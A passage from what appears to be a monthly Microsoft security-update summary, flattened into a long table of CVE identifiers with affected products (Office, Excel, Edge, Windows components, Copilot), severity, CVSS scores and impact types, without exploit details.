 9.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-26145 **\n  Microsoft Azure\n  Synapse Elevation of Privilege Vulnerability\n  Critical\n  4.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-48561\n  Microsoft Copilot\n  Remote Code Execution Vulnerability\n  Critical\n  9.6\n  No\n  No\n  RCE\n \n \n  CVE-2026-55011\n  Microsoft Defender\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55012\n  Microsoft Defender\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55944\n  Microsoft Dynamics NAV\n  and Microsoft Dynamics 365 Business Central (On Premises) Remote Code\n  Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57100 **\n  Microsoft Entra\n  Provisioning Service Elevation of Privilege Vulnerability\n  Critical\n  9.9\n  No\n  No\n  EoP\n \n \n  CVE-2026-55041\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54998 **\n  Microsoft Exchange\n  Online Elevation of Privilege Vulnerability\n  Critical\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55008\n  Microsoft Exchange\n  Server Spoofing Vulnerability\n  Critical\n  9.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-54992\n  Microsoft Message\n  Queuing Queue Manager Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-50314\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50467\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55018\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55022\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55045\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-55049\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55129\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55056\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55140\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55043\n  Microsoft PowerPoint\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55123\n  Microsoft PowerPoint\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55120\n  Microsoft PowerPoint\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50522\n  Microsoft SharePoint\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58644\n  Microsoft SharePoint\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55040\n  Microsoft SharePoint\n  Server Security Feature Bypass Vulnerability\n  Critical\n  9.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-54117\n  Microsoft SQL Server\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54118\n  Microsoft SQL Server\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50655\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56189\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57090\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57094\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57087\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57092\n  Microsoft Windows\n  VMSwitch Elevation of Privilege Vulnerability\n  Critical\n  9.9\n  No\n  No\n  EoP\n \n \n  CVE-2026-55033\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55127\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55132\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55010\n  Minecraft Bedrock\n  Dedicated Server Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50474\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49164\n  Windows Active\n  Directory Domain Services Remote Code Execution Vulnerability\n  Critical\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-54128\n  Windows DHCP Client\n  Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-50518\n  Windows DHCP Server\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49796\n  Windows GDI+ Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50380\n  Windows GDI+ Remote\n  Code Execution Vulnerability\n  Critical\n  9.6\n  No\n  No\n  RCE\n \n \n  CVE-2026-54127\n  Windows Hyper-V\n  Elevation of Privilege Vulnerability\n  Critical\n  7.4\n  No\n  No\n  EoP\n \n \n  CVE-2026-50680\n  Windows Hyper-V\n  Elevation of Privilege Vulnerability\n  Critical\n  8.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-50327\n  Windows Media Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58542\n  Windows Media Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58608\n  Windows Print Spooler\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54982\n  Windows Reliable\n  Multicast Transport Driver (RMCAST) Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54995\n  Windows Reliable\n  Multicast Transport Driver (RMCAST) Remote Code Execution Vulnerability\n  Critical\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-42982\n  Windows Secure Kernel\n  Mode Elevation of Privilege Vulnerability\n  Critical\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50392\n  Windows Secure Kernel\n  Mode Elevation of Privilege Vulnerability\n  Critical\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50694\n  Windows Secure Socket\n  Tunneling Protocol (SSTP) Remote Code Execution Vulnerability\n  Critical\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-56188\n  Windows Server Network\n  driver Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50444\n  Windows Server Update\n  Service (WSUS) Elevation of Privilege Vulnerability\n  Critical\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54999\n  Windows TCP/IP Remote\n  Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47302\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50525\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50651\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-57108\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50524\n  .NET Framework Denial\n  of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50527\n  .NET Framework Denial\n  of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50648\n  .NET Framework Denial\n  of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50650\n  .NET Framework\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50646\n  .NET Framework Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50649\n  .NET Remote Code\n  Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47304\n  .NET Security Feature\n  Bypass Vulnerability\n  Important\n  8.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-50528\n  .NET Security Feature\n  Bypass Vulnerability\n  Important\n  8.2\n  No\n  No\n  SFB\n \n \n  CVE-2026-50659\n  .NET Spoofing\n  Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-50526\n  .NET Tampering\n  Vulnerability\n  Important\n  7\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50682\n  Active Directory\n  Denial of Service Vulnerability\n  Important\n  7.1\n  No\n  No\n  DoS\n \n \n  CVE-2026-55001\n  Active Directory\n  Domain Services Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50647\n  Active Directory\n  Federation Server Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50684\n  Active Directory\n  Federation Server Spoofing Vulnerability\n  Important\n  4.8\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-56170\n  ASP.NET Core Denial of\n  Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-47300\n  ASP.NET Core Elevation\n  of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-47303\n  ASP.NET Core Elevation\n  of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50652\n  Azure Active Directory\n  Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50653\n  Azure Active Directory\n  Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-57969\n  Azure CycleCloud\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58279\n  Azure CycleCloud\n  Elevation of Privilege Vulnerability\n  Important\n  6.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-47632\n  Azure Monitor Agent\n  Metrics Extension Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50338\n  Azure Spring Apps\n  Elevation of Privilege Vulnerability\n  Important\n  8.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-50488\n  Clipboard User Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50491\n  Code Integrity DLL\n  (ci.dll) Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50381\n  Composite Image File\n  System driver (cimfs.sys) Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50427\n  Content Delivery\n  Manager Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50692\n  Desktop Window Manager\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58633\n  Desktop Window Manager\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58634\n  Desktop Window Manager\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50296\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50375\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  6.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-50353\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50493\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56643\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56644\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58629\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49174\n  DNS Client Tampering\n  Vulnerability\n  Important\n  6.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50495\n  DNS Client Tampering\n  Vulnerability\n  Important\n  6.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-57088\n  Extensible Storage\n  Engine (ESENT) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50663\n  Game: Age of Empires\n  II: Definitive Edition Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47282\n  GitHub Copilot and\n  Visual Studio Code Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-41109\n  GitHub Copilot and\n  Visual Studio Code Security Feature Bypass Vulnerability\n  Important\n  8.8\n  No\n  No\n  SFB\n \n \n  CVE-2026-50510\n  GitHub Copilot Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49787\n  HTTP.sys Denial of\n  Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50420\n  HTTP.sys Information\n  Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-49788\n  HTTP/2 Denial of\n  Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50696\n  Internet Key Exchange\n  (IKE) Protocol Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-58617\n  M365 Copilot for iOS\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-58595\n  Microsoft Bing App for\n  IOS Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-49162\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50305\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50361\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50466\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50458\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50658\n  Microsoft Defender for\n  Endpoint for Mac Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-56178\n  Microsoft Defender for\n  Endpoint for Mac Elevation of Privilege Vulnerability\n  Important\n  5.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50657\n  Microsoft Defender for\n  Endpoint for Mac Information Disclosure Vulnerability\n  Important\n  4.7\n  No\n  No\n  Info\n \n \n  CVE-2026-50329\n  Microsoft DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58541\n  Microsoft DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58596\n  Microsoft Edge\n  (Chromium-based) Elevation of Privilege Vulnerability\n  Important\n  8.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-57991\n  Microsoft Edge\n  (Chromium-based) Information Disclosure Vulnerability\n  Important\n  7.4\n  No\n  No\n  Info\n \n \n  CVE-2026-58291\n  Microsoft Edge\n  (Chromium-based) Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-57981\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57984\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-57985\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.6\n  No\n  No\n  RCE\n \n \n  CVE-2026-57986\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-57988\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-57992\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58276\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-56645\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57974\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57975\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58281\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58284\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58285\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58287\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58288\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58289\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  9\n  No\n  No\n  RCE\n \n \n  CVE-2026-58290\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58292\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58293\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-58294\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-57983\n  Microsoft Edge\n  (Chromium-based) Security Feature Bypass Vulnerability\n  Important\n  8.7\n  No\n  No\n  SFB\n \n \n  CVE-2026-58295\n  Microsoft Edge\n  (Chromium-based) Security Feature Bypass Vulnerability\n  Important\n  8.3\n  No\n  No\n  SFB\n \n \n  CVE-2026-58525\n  Microsoft Edge\n  (Chromium-based) Security Feature Bypass Vulnerability\n  Important\n  8.2\n  No\n  No\n  SFB\n \n \n  CVE-2026-57987\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58278\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-56646\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-57977\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  7.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-57993\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  7.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58282\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58283\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58286\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58298\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  7.2\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58524\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58296\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-58297\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-58300\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-58522\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  6.8\n  No\n  No\n  Info\n \n \n  CVE-2026-58299\n  Microsoft Edge for\n  Android Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58523\n  Microsoft Edge for\n  Android Security Feature Bypass Vulnerability\n  Important\n  6.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-50678\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.6\n  No\n  No\n  Info\n \n \n  CVE-2026-54988\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-48580\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50408\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55046\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55138\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55054\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55122\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-55898\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-50675\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55899\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55948\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58618\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47642\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55024\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55025\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55031\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55048\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55029\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55039\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55136\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55141\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55036\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55044\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55037\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55058\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55137\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55053\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55131\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54131\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55947\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55949\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56156\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55006\n  Microsoft Exchange\n  Server Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55009\n  Microsoft Exchange\n  Server Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55005\n  Microsoft Exchange\n  Server Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56642\n  Microsoft Fabric Data\n  Warehouse Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50343\n  Microsoft Install\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50439\n  Microsoft Message\n  Queuing Queue Manager Remote Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-58537\n  Microsoft NAT Helper\n  Components (ipnathlp.dll) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56193\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-55023\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55026\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-55027\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55028\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55047\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  